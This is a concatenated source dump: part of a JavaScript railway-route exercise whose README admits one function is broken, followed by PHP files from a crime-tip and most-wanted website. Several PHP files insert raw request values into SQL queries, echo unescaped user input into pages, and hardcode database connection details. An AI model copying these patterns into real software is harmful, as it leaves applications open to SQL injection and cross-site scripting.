stops = 0; iterate_stops2(start, end, stops, max_stops); return num_trips; function iterate_stops2(start, end, stops, max_stops) { // Return "NO SUCH ROUTE" if 'start' and 'end' are not valid stops if ((start in nodes_map) && (end in nodes_map)) { // Number of stops we have made stops += 1; if (stops > max_stops) { return 0; } visited.push(start); for (let nearby in nodes_map[start]) { // Check if our incoming stop is equivalent to our 'end' stop if (nearby === end && stops === max_stops) { // Increase number of possible trips by 1 num_trips += 1; visited = []; return 0; } // move on to the next stop iterate_stops2(nearby, end, stops, max_stops); } } else { num_trips = "NO SUCH ROUTE"; return 0; } return 0; } } // --------------------------------------------------------------------------------------------- // Get the distance of the shortest route from 'start' to 'end' function find_shortest_route(nodes_map, start, end) { // Save the original starting stop let wrong_route = false; // Shortest visited route let curr_visited = []; // Distance for the current route we are checking let curr_route = 0; // Distance of the shortest route let shortest_route = null; closest_stop(start, end); return shortest_route; function closest_stop(start, end) { // Return "NO SUCH ROUTE" if 'start' and 'end' are not valid stops if ((start in nodes_map) && (end in nodes_map)) { if (!(curr_visited.includes(start))) { curr_visited.push(start); } // Check each each nearby stop for (let nearby in nodes_map[start]) { // Distance of the nearby stop let nearby_dist = nodes_map[start][nearby]; // We were on the wrong route before, try a different route if (wrong_route === true) { curr_visited.pop(); curr_route -= nearby_dist; wrong_route = false; return 0; } // If we have already been to the stop before, try a new route if (curr_visited.includes(nearby) && nearby != end) { curr_route -= nearby_dist; curr_visited.pop(); return 0; } // If we have already been to the stop before, and it is equal to our destination if (curr_visited.includes(nearby) && nearby == end) { curr_route += nearby_dist; } // It is our first time going to this stop, add it to our list visited stops and add to our distance if (!(curr_visited.includes(nearby))) { curr_route += nearby_dist; curr_visited.push(nearby); } // Our current route is greater than our shortest route so we do not need to further check it if (shortest_route != null && curr_route > shortest_route) { let counter = 0; for (let stop in nodes_map[start]) { // Check if all the nearby stops have been checked if (curr_visited.includes(stop)) { counter += 1; } // If all the nearby stops have been checked, then move on to a different route if (counter === Object.keys(nodes_map[start]).length) { wrong_route = true; // subtract the distance, we are going try a different route curr_visited.pop(); curr_route -= nearby_dist; return 0; } // Mark wrong route wrong_route = true; } } // Check if our incoming stop is equivalent to our 'end' stop if (nearby === end) { // It is the first time finding a route or our new route is closer than our saved route if (shortest_route == null || curr_route <= shortest_route) { // If it is equal to the end route shortest_route = curr_route; curr_route = 0; curr_visited = []; return 0; } } // move on to the next stop closest_stop(nearby, end); } } else { shortest_route = "NO SUCH ROUTE"; return 0; } return 0; } } // --------------------------------------------------------------------------------------------- // Get the number of different routes from 'start' to 'end' with a distance less than 'max_dist' function find_diff_routes(nodes_map, start, end, max_dist) { // Saves the number of possible routes with a distance less than max_dist let num_routes = 0; // The number of stops we make in the route let stops = 0; // Number of times to subtract distances from incorrect route let backtrack = 0; // Contains the previous iteration's distance let prev_dist = 0; // Shows if we have found a valid route let not_found = false; // Contains how many stops we have had for the current route let curr_dist = 0; // Show if we have visited the stop before let not_visited = true; nearby_stops(start, end, [], curr_dist); return num_routes; function nearby_stops(start, end, visited, curr_dist) { // Return "NO SUCH ROUTE" if 'start' and 'end' are not valid stops if ((start in nodes_map) && (end in nodes_map)) { // Increase the amount of times we will backtrack, based on how many repeat iterations we encounter if (visited.includes(start)) { backtrack += 1; } if ((visited.includes(start)) && (curr_dist >= max_dist)) { not_visited = false; } // Add current stop to array of visited stops visited.push(start); for (let nearby in nodes_map[start]) { // Get the distance to the nearby stop let nearby_dist = nodes_map[start][nearby]; if ((curr_dist < max_dist) && (start === end) && (visited.length > 1)) { num_routes += 1; } // Revert the distance if we have already encountered it, and it is not our end stop if ((not_visited === false) && (start != end)) { // Subtract the distance for however many iterations we have gone for the same repeating stops for (let i = 0; i < backtrack; i++) { curr_dist -= prev_dist; visited.pop(); } not_visited = true; backtrack = 0; return 0; } // Update current route's distance curr_dist += nearby_dist; // Number of stops we have made stops += 1; // Our current route is not a valid route, process with updating values and continue to next route if ((visited.includes(nearby)) && (start === end)) { curr_dist -= nearby_dist; // We did not find a valid route, update our array of visited stops and continue to next route for (let i=0; i < 0; i++) { curr_dist -= prev_dist; visited.pop(); } stops = 0; return 0; } // Save distance for next iteration prev_dist = nearby_dist; // Recurse through the other nearby routes nearby_stops(nearby, end, visited, curr_dist); } } else { num_routes = "NO SUCH ROUTE"; return 0; } return 0; } } // Read user input var readline = require('readline'); var read = readline.createInterface({ input: process.stdin, output: process.stdout, prompt: 'Input Nodes of the Directed Graph, separated by commas: ' }); read.prompt(); read.on('line', (nodes) => { // Request graph routes/nodes and organize the routes/nodes into a map nodes_map = createDGraph(nodes); // testing purposes console.log(nodes_map); // Questions #1-#5 findDistances(nodes_map); // Question #6 // Start and end stop start = 'C'; end = 'C'; // Maximum number of stops max_stops = 3; // Find number of trips from 'start' to 'end' with a maximum of 'max_stops' num_trips = number_of_trips(nodes_map, start, end, max_stops); console.log("Output #6: " + num_trips); // Question #7 // Start and end stop start = 'A'; end = 'C'; // Number of stops num_stops = 4; // Find number of trips from 'start' to 'end' with a maximum of 'max_stops' num_trips = number_of_trips2(nodes_map, start, end, num_stops); console.log("Output #7: " + num_trips); // Question #8 // Start and end stop start = 'A'; end = 'C'; // Find the shortest route from 'start' to 'end' shortest_route = find_shortest_route(nodes_map, start, end); console.log("Output # 8: " + shortest_route); // Question #9 // Start and end stop start = 'B'; end = 'B'; // Find the shortest route from 'start' to 'end' shortest_route = find_shortest_route(nodes_map, start, end); console.log("Output # 9: " + shortest_route); // Question # 10 // Start and end stop start = 'C'; end = 'C'; // Maximum distance (can not be over 30) max_dist = 30 // Find the number of different routes from 'start' to 'end' with a distance of less than 30 diff_routes = find_diff_routes(nodes_map, start, end, max_dist); console.log("Output # 10: " + diff_routes); read.close(); });<file_sep># Railway Descriptor **Railway descriptor to get distances of routes, shortest routes, and number of different routes from a 'start' to 'end' stop.** ## How to run? 1. Install node.js if it is not already installed on your machine at "https://nodejs.org/en/download/". 2. Download the project to your machine into any folder you choose. 3. Run command prompt and go into the directory where the project is located (the folder will contain railway.js). 4. Type "node railway.js" into command prompt. 5. You will be prompted an input of directed graph node. Input the directed graph nodes along with their distances, each separated by a comma. 6. Modifying any values such as the starting point and ending point must be done in the code itself. ### An example input is shown below: **Example:** AB5, BC4, CD8, DC8, DE6, AD5, CE2, EB3, AE7 ### Brief explanation of the program: - Once the user inputs the nodes of the directed graph, my program has a function called createDGraph() which converts the string input of nodes into a map. Once the map has been created, I can use it to find my results. - For Output #1 - #5, I have a function called findDistances() to find the distances for the routes 'A-B-C', 'A-D', 'A-D-C', 'A-E-B-C-D', and 'A-E-D', returning "NO SUCH ROUTE" when the route does not exist. It does so by iterating through every stop in the route, adding each distance together. - For Output #6 - #7, I have a function called number_of_trips() and a function called number_of_trips2() due to slight differences in requirements but the logic is similar. They use recursion to iterate through the map while recording the number of stops it takes for each route. If the start and end stops have been found but other requirements have not been met or vice versa, then the program proceeds to check another route. - For Output #8 - #9, I have a function called find_shortest_route() that uses recursion to iterate through the map. I mark when both the start and end stop have been found, and save the distance for the route. I continue iterating through the map, updating my result when I encounter a shorter route. - For Output #10, I have a function called find_diff_routes() to iterate recursively through the map. The function iterates through the map, avoiding infinite loops when necessary. When the function encounters the start and end stops we desire, it increases our counter for our number of different routes if it has a distance less than 30. It proceeds to continue doing so until it has traversed the different routes in the directed graph. This function is not working correctly, I had an issue with fixing the program to work for all scenarios, including loops. I was unable to complete this in time. _Thank you for taking the time to look at this project, I hope you enjoyed it!_
e6058a442b6b89f4cb08653509e1cbf546514ae2
[ "JavaScript", "Markdown" ]
2
JavaScript
donaldjhui/Railway-Descriptor
145e54094fb0925f80fb758395fadc07d8057abe
a852c0cc55b307982bcc6c13a17472f9f13db5f3
refs/heads/master
<repo_name>dagracejr/macro-ph<file_sep>/search.php <?php require 'includes/dbconnect.php'; ?> <?php if(isset($_POST['submit-search'])){ $search = mysqli_real_escape_string($conn, $_POST['search-big']); $sql = "SELECT * FROM unsolved where description LIKE '%$search%' or created_at LIKE '%$search%' or title LIKE '%$search%' or casenumber LIKE '%$search%'"; $result = mysqli_query($conn, $sql); $queryResult = mysqli_num_rows($result); $search1 = mysqli_real_escape_string($conn, $_POST['search-big']); $sql1 = "SELECT * FROM wanted where firstname LIKE '%$search%' or lastname LIKE '%$search%' or height LIKE '%$search%' or criminalcase LIKE '%$search%' or hairlength LIKE '%$search%' or age LIKE '%$search%' or hairstyle LIKE '%$search%'"; $result1 = mysqli_query($conn, $sql1); $queryResult1 = mysqli_num_rows($result1); $fullResult = $queryResult + $queryResult1; ?> <!DOCTYPE html> <html> <head> <link rel="icon" href="images/macrofavico.ico"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- FONTS --> <link href='https://fonts.googleapis.com/css?family=Abril Fatface' rel='stylesheet'> <link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=Raleway"> <link href='https://fonts.googleapis.com/css?family=Antic Slab'> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <!-- END FONTS --> <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Lato&subset=latin,latin-ext"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <link rel="stylesheet" href="css/unsolved.css"> <link rel="stylesheet" type="text/css" href="css/newwanted.css"> <link rel="stylesheet" type="text/css" href="css/search.css"> <link rel="stylesheet" type="text/css" href="css/navbar.css"> </head> <body> <?php require 'navbar.html' ?> <br><br><br> <div class="container"> <div class="row"> <div class="col-xs-12"> <h2 id="found"><?php echo $fullResult ?> MACRO found for <span class="glyphicon glyphicon-arrow-down"></span></h2> <form action="search.php" method="POST"> <input id="inputSearch"placeholder="Search......" value="<?php echo $search ?>" name="search-big" required> <input type="hidden" name="submit-search"> </form> </div> </div> </div> <div class="container"> <div class="row"> <div id="memahati"></div> </div> </div> <div class="container" id="fea1"> <h2 id="found1"><?php if ($queryResult > 0) { ?> <?php echo $queryResult; ?> FEATURED CRIMES FOUND <?php } ?> </h2> </div> <div class="container" style="margin-bottom: 20px;"> <div class="row"> <?php if ($queryResult > 0) { while ($row = mysqli_fetch_assoc($result)) { ?> <!-- FEATURED CRIMES OUTPUT HERE --> <div class="col-sm-6" id="ucContainer"> <form method="POST" action="multistep.php"> <h4 class="animated fadeIn">PUBLISHED DATE: <?php echo $row["created_at"]; ?></h4><br> <img id="unsolved-img" class="animated bounceIn" src="unsolvedImages/<?php echo $row["imagename"]; ?>"> <h1 id="ctitle" style="text-transform: uppercase;" class="animated fadeIn"><?php echo $row["title"]; ?></h1> <h4 class="animated fadeIn">CASE# <?php echo $row["casenumber"]; ?></h4> <p class="animated fadeIn"><?php echo $row["description"] ?></p> <br> <input type="hidden" name="caseID" value="<?php echo $row["caseID"] ?>"> <center><input type="submit" value="GIVE US TIPS" class="btn btn-info" href="#"></center> <br><br> </form> </div> <!-- ========END======== --> <?php } } } ?> </div> </div> <div class="container"> <div class="row"> <center><div class="col-xs-12"> </div> </center> </div> </div> <?php if(isset($_POST['submit-search'])){ ?> <div class="container" id="fea1"> <h2 id="found2"> <?php if ($queryResult1 > 0) { echo $queryResult1." MACRO WANTED IN CITY FOUND<br><br>"; } ?> </h2> </div> <div class="container"> <div class="row"> <?php if ($queryResult1 > 0) { while ($row = mysqli_fetch_assoc($result1)) { ?> <!-- CRIME OUTPUT HERE --> <div class="col-xs-12 col-sm-6 col-md-3" id="lobo1"> <form class="form" method="POST" action="multistep.php"> <li> <a href="most-wanted-details.php?wantedID=<?php echo $row["wantedID"];?>"><img style="width: 200px; height: 100px;border-radius: 5px;" src="wantedImages/<?php echo $row["imgName"];?>" /> <h4><?php echo ucfirst($row["firstName"]);?> <?php echo ucfirst($row["lastName"]);?></h4></a> <dl class="tags"> <dt>Crime Location:</dt> <dd><?php echo $row["crimeLocation"];?>, Manila</dd> <dt>Crime:</dt> <dd><?php echo ucfirst($row["CriminalCase"]);?></dd> <a href="most-wanted-details.php?wantedID=<?php echo $row["wantedID"];?>"><dd>More info about <?php echo ucfirst($row["lastName"]);?></dd></a> <button type="submit" class="btn btn-info" style="margin-top: 5px;">Give tip about this criminal</button> </dl> </li> <input type="hidden" name="wantedID" value="<?php echo htmlentities($row["wantedID"]); ?>"> <input type="hidden" name="wantedName" value="<?php echo htmlentities($row["firstName"]. " ". $row["lastName"]); ?>"> </form> </div> <!-- ========END======== --> <?php } } else{ ?> <!-- NO RESULT OUTPUT --> <div class="container" id="noresult"> <div class="row"> <div class="col-sm-12"> <h1 id="noresult"><span class="glyphicon glyphicon-eye-close"></span> MACRO NO RESULT CRIMINALS, TRY A NEW KEYWORD</h1> <script type="text/javascript"> document.getElementById("found2").style.display = "none"; document.getElementById("found1").style.display = "none"; </script> </div> </div> </div> <!-- END --> <?php } } ?> </div> </div> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> <script type="text/javascript" src="js/script.js"></script> <div id="searchbar" class="searchcontainer" style="display: none;"> <div class="row"> <div class="col-sm-6 col-sm-offset-3" style="display: none;"> <div id="imaginary_container" style="display: none;"> <a href="#search"> <div class="input-group stylish-input-group" style="display: none;"> <input type="text" style="display: none;" name="search-small" class="form-control" placeholder="Search" > <span class="input-group-addon" style="display: none;"> <button type="submit" style="display: none;"> <span class="glyphicon glyphicon-search" style="display: none;"></span> </button> </span> </div></a> </div> </div> </div> </div> <div id="search"> <button type="button" class="close">×</button> <form action="search.php" method="POST"> <input type="search" value="" name="search-big" placeholder="type keyword(s) here" id="searchplacehodertext" /> <button type="submit" name="submit-search" class="btn btn-primary">Search</button> </form> </div> </body> </html> <file_sep>/most-wanted-list.php <?php include_once 'functions/browserchecker.php'; ?> <?php require 'includes/dbconnect.php'; if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = 1; } if ($page == '' || $page == 1) { $page1 = 0; } else { $page1 = ($page*10)-10; } $sql = 'SELECT * FROM wanted ORDER BY wantedID DESC LIMIT '.$page1.',12'; $data = $conn->query($sql); //print_r($data->fetch_all()); ?> <!DOCTYPE html> <html> <head> <link rel="icon" href="images/macrofavico.ico"> <title>MARCO | MOST WANTED</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Lato&subset=latin,latin-ext"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link rel="stylesheet" type="text/css" href="css/most-wanted-list.css"> <link rel="stylesheet" type="text/css" href="css/navbar.css"> <link href="css/animate.css" rel="stylesheet"> </head> <body onload="myFunction()"> <div class="container" onload="myFunction()"> <div class="row"> <div id="preloader"> <div id="loader"></div> </div> </div> </div> <div id="content"> <span class="loader"><span class="loader-inner"></span></span> <?php require 'navbar.html' ?> <br><br><br><br> <div class="container" > <div class="row"> <div class="col-xs-12 "><h1 id="uc1top" class="animated bounceInDown">Most Wanted Criminals<br><br></h1></div> <?php while($row = $data->fetch_assoc()) { ?> <div class="col-xs-12 col-sm-6 col-md-4 col-lg-3 animated flipInX" id="lobo1"> <form class="form" method="POST" action="multistep.php"> <a href="most-wanted-details.php?wantedID=<?php echo $row["wantedID"];?>"><img class="lazyload" style="width: 200px; height: 100px;border-radius: 5px;" data-src="wantedImages/<?php echo $row["imgName"];?>" /> <h4><?php echo ucfirst($row["firstName"]);?> <?php echo ucfirst($row["lastName"]);?></h4></a> <dl class="tags"> <dt>Crime location:</dt> <dd><?php echo strtoupper($row["crimeLocation"]);?>, Manila</dd> <dt>Crime:</dt> <dd><?php echo ucfirst($row["CriminalCase"]);?></dd> <a href="most-wanted-details.php?wantedID=<?php echo $row["wantedID"];?>"><dd>More info about <?php echo ucfirst($row["lastName"]);?></dd></a> <button type="submit" class="btn btn-info" style="margin-top: 5px;">Give tip about this criminal</button> </dl> <input type="hidden" name="wantedID" value="<?php echo htmlentities($row["wantedID"]); ?>"> <input type="hidden" name="wantedName" value="<?php echo htmlentities($row["firstName"]. " ". $row["lastName"]); ?>"> </form> </div> <?php }?> </div> <?php //pagination napo! $sql = 'SELECT * FROM wanted'; $data = $conn->query($sql); $records = $data->num_rows; $records_pages = $records/10; $records_pages = ceil($records_pages); $prev = $page-1; $next = $page+1; echo '<center><ul class="pagination">'; //prev button if ($prev >= 1) { echo '<li> <a href="?page='.$prev.'">Prev</a></li>'; } //number of pages if ($records_pages >= 2) { for ($r=1; $r <= $records_pages; $r++) { $active = $r == $page ? 'class="active"' : ''; echo '<li '.$active.' ><a href="?page='.$r.'">'.$r.'</a><li>'; } } //next button if ($next <= $records_pages && $records_pages >= 2) { echo '<li> <a href="?page='.$next.'">Next</a></li>'; } echo '</ul></center>'; ?> </div> </div> <script type="text/javascript"> var Start; function myFunction(){ Start = setTimeout(showpage,2500); } function showpage(){ document.getElementById("loader").style.display="none"; document.getElementById("content").style.display="block"; } </script> <script src="https://unpkg.com/lazysizes@4.0.1/lazysizes.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </body> </html> <file_sep>/includes/dbconnect.php <?php $servername = "172.16.31.10"; $serverusername = "macroadmin"; $serverpassword = "<PASSWORD>"; //$servername = "localhost"; //$serverusername = "root"; //$serverpassword = ""; $serverdb = "pnp2"; // Create connection $conn = mysqli_connect($servername, $serverusername, $serverpassword,$serverdb); // Check connection if (!$conn) { die("Connection failed: " . mysqli_connect_error()); } ?> <file_sep>/administrator/functions/updateWantedFunc.php <?php include_once '../../includes/dbconnect.php'; if (isset($_POST['submit'])) { //all the variables $wantedIdentity = $_POST['wantedIdentity']; $fname = $_POST['fname']; $lname = $_POST['lname']; $criminalcase = $_POST['criminalcase']; $crimelocation = $_POST['crimelocation']; $crimeDesc1 = $_POST['crimeDesc']; $crimeDesc = $_POST['crimeDesc1']; $time = $_POST['time']; $warrantDate = $_POST['warrantDate']; $age = $_POST['age']; $gender = $_POST['gender']; $height1 = $_POST['height']; $height = addslashes($height1); $build = $_POST['build']; $hairColor = $_POST['hairColor']; $hairLength = $_POST['hairLength']; $hairStyle = $_POST['hairStyle']; $facialHair = $_POST['facialHair']; $ethnicApp = $_POST['ethnicApp']; $addInfo1 = $_POST['addInfo']; $addInfo= addslashes($addInfo1); $file = $_FILES['file']; $fileName = $_FILES['file']['name']; $fileTmpName = $_FILES['file']['tmp_name']; $fileSize = $_FILES['file']['size']; $fileError = $_FILES['file']['error']; $fileType = $_FILES['file']['type']; $fileExt = explode('.', $fileName); $fileActualExt = strtolower(end($fileExt)); $allowed = array('jpg','jpeg','png','pdf'); if (in_array($fileActualExt, $allowed)) { if ($fileError === 0) { if ($fileSize < 2000000) { $fileNameNew = uniqid('', true).".".$fileActualExt; $sql = "UPDATE wanted SET firstName = '$fname', lastName = '$lname', CriminalCase = '$criminalcase', crimeLocation = '$crimelocation', crimeDesc = '$crimeDesc', time = '$time', warrantDate = '$warrantDate', age = '$age', gender = '$gender', height = '$height', build = '$build', hairColor = '$hairColor', hairLength = '$hairLength', hairStyle = '$hairStyle', facialHair = '$facialHair', ethnicApp = '$ethnicApp', addInfo = '$addInfo', imgName = '$fileNameNew' WHERE wanted.wantedID = '$wantedIdentity'"; mysqli_query($conn,$sql); $fileDestination = '../../wantedImages/'.$fileNameNew; move_uploaded_file($fileTmpName,$fileDestination); header("Location: ../functions/updateWantedFuncSuccess.php"); }else { echo "Your file is too big! "; ?> <br> <button onclick="goBack()">Go Back</button> <script> function goBack() { window.history.back(); } </script> <?php } } else { echo "There was an error uploading your file!"; ?> <br> <button onclick="goBack()">Go Back</button> <script> function goBack() { window.history.back(); } </script> <?php } }else { echo "PLEASE UPLOAD ONLY IMAGES! THANKS YOU!"; ?> <br> <button onclick="goBack()">Go Back</button> <script> function goBack() { window.history.back(); } </script> <?php } } <file_sep>/keep-safe.php <?php include_once 'functions/browserchecker.php'; ?> <?php include 'includes/dbconnect.php'?> <!DOCTYPE html> <html> <head> <link rel="icon" href="images/macrofavico.ico"> <title>MARCO | KEEP SAFE</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Lato&subset=latin,latin-ext"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="css/keep-safe.css"> <link rel="stylesheet" type="text/css" href="css/navbar.css"> <link href="css/animate.css" rel="stylesheet"> </head> <body> <?php include 'navbar.html'?><br><br> <h1 id="ks1">KEEP SAFE</h1> <div id="mySidenav" class="sidenav" style="align:left"> <a href="#" onclick="myFunction()" id="about"><i class="fa fa-mouse-pointer" style="font-size:28px"></i></a> </div> <div class="tab" id="tabID"> <button type="button" name="close" id="close" onclick="myFunction1()" style="background:white;font-weight:bold;"><i class="fa fa-close" style="font-size:20px"> SKIP</i></button> <?php $sql = "SELECT * from keepSafe"; $result = $conn->query($sql); if ($result->num_rows > 0) { // output data of each row while($row = $result->fetch_assoc()) { ?> <button class="tablinks" onclick="openCity(event, '<?php echo $row["sidebarName"]; ?>')" id="<?php echo $row["defaultOpened"]; ?>"><?php echo strtoupper($row["sidebarName"]); ?></button> <?php }}?> </div> <div class="container"> <div class="row"> <div class="col-xs-12"> <?php $sql = "SELECT * from keepSafe"; $result = $conn->query($sql); if ($result->num_rows > 0) { // output data of each row while($row = $result->fetch_assoc()) { ?> <div id="<?php echo $row["sidebarName"]; ?>" class="tabcontent"> <h3><?php echo ucfirst($row["sidebarName"]); ?></h3> <h4>Posted Date: <?php echo $row["created_at"]; ?></h4> <img height="400px" width="100%" src="keepsafeImages/<?php echo $row["imageName"]; ?>" alt="" style="border-radius:10px;"> <p><?php echo $row["content"]; ?></p> </div> <?php }}?> </div> </div> </div> <script> function openCity(evt, cityName) { var i, tabcontent, tablinks; tabcontent = document.getElementsByClassName("tabcontent"); for (i = 0; i < tabcontent.length; i++) { tabcontent[i].style.display = "none"; } tablinks = document.getElementsByClassName("tablinks"); for (i = 0; i < tablinks.length; i++) { tablinks[i].className = tablinks[i].className.replace(" active", ""); } document.getElementById(cityName).style.display = "block"; evt.currentTarget.className += " active"; } // Get the element with id="defaultOpen" and click on it document.getElementById("defaultOpen").click(); function myFunction(){ document.getElementById("tabID").style.display="block"; } function myFunction1(){ document.getElementById("tabID").style.display="none"; } </script> <script src="https://unpkg.com/lazysizes@4.0.1/lazysizes.js"></script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </body> </html> <file_sep>/featured-crimes.php <?php include_once 'functions/browserchecker.php'; ?> <?php require "includes/dbconnect.php";?> <!DOCTYPE html> <html> <title>MACRO | Wanted Details</title> <head> <link rel="icon" href="images/macrofavico.ico"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" href="https://fonts.googleapis.com/css?family=Lato&subset=latin,latin-ext"> <link rel="stylesheet" type="text/css" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"> <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet"> <link href='https://fonts.googleapis.com/css?family=Abril Fatface' rel='stylesheet'> <link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=Raleway"> <link rel="stylesheet" type="text/css" href="css/unsolved.css"> <link rel="stylesheet" type="text/css" href="css/navbar.css"> <link href="css/animate.css" rel="stylesheet"> </head> <body onload="myFunction()"> <div class="container" onload="myFunction()"> <div class="row"> <div id="preloader"> <div id="loader"></div> </div> </div> </div> <div id="content"> <?php require 'navbar.html' ?><br><br><br> <h1 id="uc1top" class="animated rubberBand">Unsolved Crime</h1> <?php $sql = "SELECT * from unsolved"; $result = $conn->query($sql); if ($result->num_rows > 0) { // output data of each row while($row = $result->fetch_assoc()) { ?> <form method="POST" action="multistep.php"> <div class="container"> <div class="row"> <div class="col-xs-12" id="ucContainer"> <h4 class="animated fadeIn">PUBLISHED DATE: <?php echo $row["created_at"]; ?></h4><br> <img id="unsolved-img" class="animated bounceIn" src="unsolvedImages/<?php echo $row["imagename"]; ?>"> <h1 id="ctitle" style="text-transform: uppercase;" class="animated fadeIn"><?php echo $row["title"]; ?></h1> <h4 class="animated fadeIn">CASE# <?php echo $row["casenumber"]; ?></h4> <p class="animated fadeIn"><?php echo $row["description"] ?></p> <br> <center><input type="submit" value="GIVE US TIPS" class="btn btn-info" href="#"></center> <br><br> </div> </div> </div> </form> <?php }} else { echo "NO CRIME HAPPENNED"; }?> </div> <script type="text/javascript"> var Start; function myFunction(){ Start = setTimeout(showpage,2500); } function showpage(){ document.getElementById("loader").style.display="none"; document.getElementById("content").style.display="block"; } </script> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script> <script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script> </body> </html> <file_sep>/login/logoutprocess.php <?php /*if(session_destroy()) { header("Location: ../index.php"); }*/ ?> <?php session_start(); echo "<script>Logout success!</script>"; unset($_SESSION['reportID']); session_destroy(); header("Location: ../index.php"); //exit; ?><file_sep>/chat/read.php <?php require_once '../includes/dbconnect.php'; $val = $_POST['reportID']; $result2 = mysqli_query($conn, "UPDATE chatlogs SET isRead=1 WHERE reportID=$val"); ?><file_sep>/chat/chat.php <?php ?> <html> <head> <meta name="generator" content="HTML Tidy for HTML5 (experimental) for Windows https://github.com/w3c/tidy-html5/tree/c63cc39" /> <link href="css/chat.css" rel="stylesheet"> <title>chatbox</title> <script> function submitChat() { if ( form1.msg.value == "") { return; } //$('#loading').show(); var msg = form1.msg.value; var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var chatlogs = document.getElementById("chatlogs"); chatlogs.innerHTML = xmlhttp.responseText; form1.msg.value=""; $("#chatlogs").scrollTop(function() { return this.scrollHeight; }); //$('#loading').hide(); } } xmlhttp.open("GET","chat/insert.php?msg="+msg, true); xmlhttp.send(); } $(document).ready (function(){ $.ajaxSetup({cache:false}); setInterval(function(){ $("#chatlogs").load('chat/logs.php'); updateScroll(); }, 2000); var scrolled = false; function updateScroll(){ if(!scrolled){ var element = document.getElementById("chatlogs"); element.scrollTop = element.scrollHeight; } } $("#chatlogs").scroll (function(){ scrolled=true; }); }); </script> </head> <body> <div id="chatArea"> <div class="container"> <div class="row"> <div class = " well"> <div class="well" id="chatlogs">Retrieving.. <span class="fa fa-circle-o-notch fa-spin fa-fw"></span> </div><div id="loading" style="display:none;"><span class="fa fa-circle-o-notch fa-spin fa-fw"></span></div> <form name="form1"> <div class="form-group"> <div class="textarea-container"> <textarea class="form-control" name="msg" placeholder="Type your message here" onkeydown = "if (event.keyCode == 13) document.getElementById('chat-send').click()" ></textarea> <a href="#" id="chat-send" onclick="submitChat()"><span class="fa fa-paper-plane"></span></a> </div> <!-- <textarea rows="1" style="resize:none;" class="form-control" name="msg"></textarea> <br /> <a href="#" class="btn btn-primary" onclick="submitChat()">send</a> <br /> <br /> --> </div> </form> </div> </div> </div> </div> </body> </html> <file_sep>/keepsafeImages/index.php <?php $user_ip = $_SERVER['REMOTE_ADDR']; // get user ip // checking user ip address redirect if ($user_ip == "192.168.3.11" || $user_ip == "192.168.3.11") { echo 'MEMBER'; } else { echo 'THE YOUR '.$user_ip.'IP ADDRESS IS BEING TRACED BY NBI :D. '; } ?><file_sep>/administrator/chat-admin.php <!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <meta name="description" content=""> <link rel="icon" href="images/macrofavico.ico"> <!-- Mobile viewport optimized --> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=no"> <!-- Bootstrap CSS --> <link href="../bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="../css/bootstrap-glyphicons.css" rel="stylesheet"> <link rel="stylesheet" href="../css/font-awesome.min.css"> <link rel="stylesheet" href="../css/chat-admin.css"> <!-- Custom CSS --> <link href="../css/styles.css" rel="stylesheet"> <link href="../css/animate.css" rel="stylesheet"> <link href="../css/normalize.css" rel="stylesheet"> <link href='https://fonts.googleapis.com/css?family=Abril Fatface' rel='stylesheet'> <script src="../js/jquery-3.2.1.min.js"></script> <!-- Include Modernizr in the head, before any other Javascript --> <script src="../js/modernizr-2.6.2.min.js"></script> <!-- jQuery --> <script src="../js/jquery.validate.min.js"></script> <script src="../bootstrap/js/bootstrap.min.js"></script> <!-- GOOGLE FONT --> <link href='https://fonts.googleapis.com/css?family=Vast Shadow' rel='stylesheet'> <meta name="generator" content="HTML Tidy for HTML5 (experimental) for Windows https://github.com/w3c/tidy-html5/tree/c63cc39" /> <link href="../css/chat.css" rel="stylesheet"> <title>chatbox</title> </head> <body style="overflow:hidden;"> <?php if (session_status() == PHP_SESSION_NONE) { session_start(); }?> <script type="text/javascript"> var id; var scrolled = false; function updateScroll(){ if(!scrolled){ var element = document.getElementById("chatlogs"); element.scrollTop = element.scrollHeight; } } 